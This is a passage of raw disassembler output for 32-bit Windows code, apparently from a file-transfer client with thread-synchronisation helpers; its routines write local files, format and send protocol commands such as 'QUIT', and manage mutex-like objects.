esi, dword_511AA0 loc_42F84A: ; CODE XREF: sub_42F6F0+17Dj push ebx push eax push 1 push edi call esi ; fwrite add esp, 10h test eax, eax jbe short loc_42F871 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_40226B add esp, 0Ch cmp eax, ebp jg short loc_42F84A jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F871: ; CODE XREF: sub_42F6F0+166j push offset aLocalfileWrite ; "localfile write" call near ptr 77C36DF2h nop add esp, 4 mov [esp+14h+var_4], ebp loc_42F883: ; CODE XREF: sub_42F6F0+F4j ; sub_42F6F0+121j ... push edi nop call near ptr 77C2C21Bh push ebx nop call near ptr 77C3EEF6h mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_42F8A6 push ebx nop call near ptr 77C40AB1h add esp, 4 loc_42F8A6: ; CODE XREF: sub_42F6F0+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401BEF mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42F6F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F940: ; CODE XREF: ___:004016A9j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F970: ; CODE XREF: ___:00401D43j sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_42F9A7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42F9A7: ; CODE XREF: ___:0042F99Aj movsx eax, byte ptr [esp+124h] mov edi, dword_511A6C push eax lea ecx, [esp+1Ch] push offset dword_4474C8 push ecx call edi ; sprintf mov esi, [esp+134h] lea edx, [esp+24h] push esi push 32h push edx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42F9E8 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42F9E8: ; CODE XREF: ___:0042F9DBj push ebx lea eax, [esp+1Ch] push offset dword_4476CC push eax call edi ; sprintf push esi lea ecx, [esp+28h] push 32h push ecx call sub_42E490 add esp, 18h test eax, eax jz short loc_42FA44 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_4476C4 push esi nop call near ptr 77C41B72h add esp, 10h cmp eax, 2 jnz short loc_42FA44 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42FA44: ; CODE XREF: ___:0042FA07j ; ___:0042FA28j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FAA0: ; CODE XREF: ___:004013C0j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_42FAD0 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FAD0: ; CODE XREF: ___:0042FAC5j push esi push edx lea eax, [esp+10h] push offset dword_4476D8 push eax nop call near ptr 77C3F931h mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42FB0B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FB0B: ; CODE XREF: ___:0042FAFBj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FB70 proc near ; CODE XREF: sub_4016B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_42F6F0 add esp, 14h retn sub_42FB70 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBA0: ; CODE XREF: ___:004016D1j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBD0: ; CODE XREF: ___:0040149Cj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42FC69 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42FC69 mov esi, dword_511A6C push edx lea eax, [esp+10h] push offset dword_4476F0 push eax call esi ; sprintf mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_42E490 add esp, 18h test eax, eax jz short loc_42FC69 push ebx lea edx, [esp+10h] push offset dword_4476E4 push edx call esi ; sprintf push edi lea eax, [esp+1Ch] push 32h push eax call sub_42E490 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FC69: ; CODE XREF: ___:0042FBF1j ; ___:0042FC0Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FCB0: ; CODE XREF: ___:00401C7Bj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42FCD9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FCD9: ; CODE XREF: ___:0042FCD0j push edx lea eax, [esp+4] push offset dword_4476FC push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FD30 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_42FD69 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_42E490 mov eax, [esi+8] add esp, 0Ch push eax call sub_4381FC ; --------------------------------------------------------------------------- mov ecx, [esi+14h] mov edi, dword_511AD0 push ecx call edi ; free push esi call edi ; free add esp, 8 pop edi loc_42FD69: ; CODE XREF: sub_42FD30+Aj pop esi retn sub_42FD30 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FD80: ; CODE XREF: ___:004021C1j push edi mov edi, [esp+8] test edi, edi jnz short loc_42FD90 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_42FD90: ; CODE XREF: ___:0042FD87j push 1Ch nop call near ptr 77C2C407h add esp, 4 test eax, eax jnz short loc_42FDA6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_42FDA6: ; CODE XREF: ___:0042FD9Dj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE00: ; CODE XREF: ___:0040151Ej push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FE19 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FE19: ; CODE XREF: ___:0042FE10j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE50: ; CODE XREF: ___:004012D5j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_42FE75 test eax, eax jz short loc_42FE75 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42FE75: ; CODE XREF: ___:0042FE64j ; ___:0042FE68j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FEA0: ; CODE XREF: ___:004013ACj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FEB9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FEB9: ; CODE XREF: ___:0042FEB0j mov eax, [esp+0Ch] test eax, eax jz short loc_42FECD cmp eax, 1 jz short loc_42FECD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FECD: ; CODE XREF: ___:0042FEBFj ; ___:0042FEC4j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FEF0: ; CODE XREF: ___:00401519j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF10: ; CODE XREF: ___:00401834j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF30: ; CODE XREF: ___:00401348j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FF49 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FF49: ; CODE XREF: ___:0042FF40j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF70: ; CODE XREF: ___:00402207j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FF89 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FF89: ; CODE XREF: ___:0042FF80j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FFB0: ; CODE XREF: ___:004019B0j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FFE0: ; CODE XREF: ___:004019ABj mov eax, [esp+8] sub eax, 0 jz short loc_430002 dec eax jz short loc_42FFF2 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42FFF2: ; CODE XREF: ___:0042FFEAj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_430002: ; CODE XREF: ___:0042FFE7j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430020: ; CODE XREF: ___:00401C1Cj push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_4300BB mov edi, [esp+18h] test edi, edi jz loc_4300BB push 18h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jz short loc_4300B2 mov eax, [esp+14h] ; DATA XREF: ___:off_444E98o test eax, eax jz short loc_430060 mov eax, [eax] test eax, eax jz short loc_430060 mov eax, [eax] jmp short loc_430062 ; --------------------------------------------------------------------------- loc_430060: ; CODE XREF: ___:00430054j ; ___:0043005Aj xor eax, eax loc_430062: ; CODE XREF: ___:0043005Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401C8A add esp, 0Ch test eax, eax jnz short loc_4300A8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401C8A add esp, 0Ch test eax, eax jnz short loc_43009F mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43009F: ; CODE XREF: ___:00430097j push edi call sub_401690 add esp, 4 loc_4300A8: ; CODE XREF: ___:00430082j push esi call near ptr 77C2C21Bh nop add esp, 4 loc_4300B2: ; CODE XREF: ___:0043004Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_4300BB: ; CODE XREF: ___:00430029j ; ___:00430035j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_430100: ; CODE XREF: ___:0040220Cj push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_430168 mov esi, [ebp+0] test esi, esi jz short loc_430168 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_401690 mov edi, eax add esp, 4 test edi, edi jnz short loc_43015E lea eax, [esi+14h] push eax call sub_401690 mov edi, eax add esp, 4 test edi, edi jnz short loc_43014F push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43014F: ; CODE XREF: ___:0043013Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401C8A add esp, 0Ch loc_43015E: ; CODE XREF: ___:0043012Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_430168: ; CODE XREF: ___:0043010Aj ; ___:00430111j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4301A0: ; CODE XREF: ___:004017A3j mov eax, [esp+4] push esi test eax, eax jz loc_430254 mov esi, [eax] test esi, esi jz loc_430254 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] nop call near ptr 2780B22h test eax, eax jnz short loc_4301E7 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_430234 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_402068 add esp, 8 mov esi, eax jmp short loc_430230 ; --------------------------------------------------------------------------- loc_4301E7: ; CODE XREF: ___:004301C8j push ebx call sub_4012E4 ; --------------------------------------------------------------------------- mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_43020B lea ecx, [esp+14h] push ecx push ebx call sub_401415 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jz short loc_43020D loc_43020B: ; CODE XREF: ___:004301F7j xor ebx, ebx loc_43020D: ; CODE XREF: ___:00430209j lea edx, [esi+edi*4+10h] push edx call sub_401041 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_430230 mov eax, [esp+10h] push 0 push eax call sub_401415 ; --------------------------------------------------------------------------- add esp, 8 loc_430230: ; CODE XREF: ___:004301E5j ; ___:0043021Fj test esi, esi jnz short loc_43024E loc_430234: ; CODE XREF: ___:004301D2j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call dword_5103D8 ; InterlockedCompareExchange xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_43024E: ; CODE XREF: ___:00430232j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_430254: ; CODE XREF: ___:004301A7j ; ___:004301B1j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_430290: ; CODE XREF: ___:00401F6Ej push esi push 4 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 test eax, eax jnz short loc_4302B3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4302B3: ; CODE XREF: ___:004302A2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4302E0: ; CODE XREF: ___:00401A87j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_430301 mov eax, [ecx] test eax, eax jz short loc_430301 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430301: ; CODE XREF: ___:004302E9j ; ___:004302EFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430320: ; CODE XREF: ___:0040127Bj mov eax, [esp+4] test eax, eax jz short loc_43033D mov eax, [eax] test eax, eax jz short loc_43033D mov ecx, [esp+8] test ecx, ecx jz short loc_43033D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43033D: ; CODE XREF: ___:00430326j ; ___:0043032Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430360: ; CODE XREF: ___:00401636j mov eax, [esp+4] test eax, eax jz short loc_43038A mov ecx, [eax] test ecx, ecx jz short loc_43038A mov eax, [esp+8] cmp eax, 1 jz short loc_43037E test eax, eax jnz short loc_43038A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43037E: ; CODE XREF: ___:00430375j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_43038A: ; CODE XREF: ___:00430366j ; ___:0043036Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4303A0 proc near ; CODE XREF: sub_401415j push esi push edi call sub_4012E4 sub_4303A0 endp ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h dd 90525738h, 35045FE8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 350555E8h, 0B4E85302h dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_430460: ; CODE XREF: ___:00402261j push ebx push esi call sub_4012E4 ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h dd 90525338h, 35039FE8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 0E8000000h, 2350496h, 0F4E85790h dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430520 proc near ; CODE XREF: sub_401D02j push esi push edi call sub_4012E4 sub_430520 endp ; --------------------------------------------------------------------------- db 8Bh dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h, 307E8334h dd 8B2E7401h, 6A3846h, 1E89050h, 85023503h, 571E75C0h dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh, 5E5F04C4h dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_4305A0: ; CODE XREF: ___:00401D39j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_401762 add esp, 8 mov [esp+4], eax test eax, eax jnz loc_4306D9 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4305DB mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_4305DB: ; CODE XREF: ___:004305CCj push ebx push ebp push edi push eax push esi call sub_401A64 lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_402248 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_4306B2 mov eax, [esi+30h] test eax, eax jnz loc_4306B2 cmp [esi+0Ch], ebp jge loc_4306C5 test edi, edi jz short loc_430644 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_430644: ; CODE XREF: ___:00430619j mov edi, [esi+4] push edi nop call near ptr 2770D2Fh push 0 push edi nop call near ptr 278084Ch cmp eax, 102h jnz short loc_4306D2 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h nop call near ptr 2780000h lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_430750 push ecx push edi nop call near ptr 27801D4h push ebx call sub_4010C3 add esp, 4 push edi call near ptr 27803ABh nop mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_4306B2: ; CODE XREF: ___:004305FDj ; ___:00430608j cmp [esi+0Ch], ebp jge short loc_4306C5 mov edx, [esi+38h] push edx call near ptr 2780644h nop test eax, eax jnz short loc_4306C9 loc_4306C5: ; CODE XREF: ___:00430611j ; ___:004306B5j mov [esp+10h], ebp loc_4306C9: ; CODE XREF: ___:004306C3j push ebx call sub_4010C3 add esp, 4 loc_4306D2: ; CODE XREF: ___:0043065Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_4306D9: ; CODE XREF: ___:004305BFj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_430750: ; DATA XREF: ___:00430680o push 2 call sub_401DED ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430770 proc near ; CODE XREF: sub_401122j mov eax, dword_5103C8 push esi push eax call sub_401190 sub_430770 endp ; --------------------------------------------------------------------------- mov esi, eax add esp, 4 test esi, esi jz short loc_4307AE mov eax, [esp+8] test eax, eax jz short loc_43079C mov eax, [esi] test eax, eax jz short loc_43079C mov ecx, [esi+4] push ecx call eax add esp, 4 loc_43079C: ; CODE XREF: ___:0043078Bj ; ___:00430791j mov edx, [esi+8] mov eax, dword_5103C8 push edx push eax call sub_4020F9 ; --------------------------------------------------------------------------- add esp, 8 loc_4307AE: ; CODE XREF: ___:00430783j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4307E0 proc near ; CODE XREF: sub_401663j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, dword_5103C8 push edx call sub_401190 sub_4307E0 endp ; --------------------------------------------------------------------------- mov [esi+8], eax mov eax, dword_5103C8 push esi push eax call sub_4020F9 ; --------------------------------------------------------------------------- add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430830 proc near ; CODE XREF: sub_401B63j arg_0 = dword ptr 4 push esi push offset dword_510920 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_430864 push esi push ecx call sub_40154B add esp, 8 mov esi, eax push offset dword_510920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430864: ; CODE XREF: sub_430830+17j test eax, eax jnz short loc_43086D mov esi, 16h loc_43086D: ; CODE XREF: sub_430830+36j push offset dword_510920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_430830 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4308A0: ; CODE XREF: ___:0040211Cj push esi push 4 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 test eax, eax jnz short loc_4308C3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4308C3: ; CODE XREF: ___:004308B2j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4308E0: ; CODE XREF: ___:004021F3j push esi mov esi, [esp+8] test esi, esi jz short loc_430903 mov eax, [esi] test eax, eax jz short loc_430903 push eax nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_430903: ; CODE XREF: ___:004308E7j ; ___:004308EDj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430920: ; CODE XREF: ___:00401005j mov eax, [esp+4] test eax, eax jz short loc_43093D mov eax, [eax] test eax, eax jz short loc_43093D mov ecx, [esp+8] test ecx, ecx jz short loc_43093D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43093D: ; CODE XREF: ___:00430926j ; ___:0043092Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430960: ; CODE XREF: ___:004012ADj mov eax, [esp+4] test eax, eax jz short loc_43098A mov ecx, [eax] test ecx, ecx jz short loc_43098A mov eax, [esp+8] cmp eax, 1 jz short loc_43097E test eax, eax jnz short loc_43098A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43097E: ; CODE XREF: ___:00430975j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_43098A: ; CODE XREF: ___:00430966j ; ___:0043096Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4309A0 proc near ; CODE XREF: sub_40154Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_4309B6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4309B6: ; CODE XREF: sub_4309A0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_4309DD mov eax, [eax] cmp eax, edi jz short loc_4309DD cmp dword ptr [eax], 1 jnz short loc_4309DD mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4309DD: ; CODE XREF: sub_4309A0+1Ej ; sub_4309A0+24j ... push 20h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 cmp esi, edi jnz short loc_430A02 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430A02: ; CODE XREF: sub_4309A0+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401C8A add esp, 0Ch test eax, eax jz short loc_430A27 call near ptr 77C1F2BCh nop mov edi, [eax] jmp short loc_430A6B ; --------------------------------------------------------------------------- loc_430A27: ; CODE XREF: sub_4309A0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401C8A add esp, 0Ch test eax, eax jz short loc_430A45 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_430A62 ; --------------------------------------------------------------------------- loc_430A45: ; CODE XREF: sub_4309A0+99j lea eax, [esi+14h] push 0 push eax call sub_4021BC mov edi, eax add esp, 8 test edi, edi jz short loc_430ACF push ebx call sub_401690 add esp, 4 loc_430A62: ; CODE XREF: sub_4309A0+A3j push ebp call 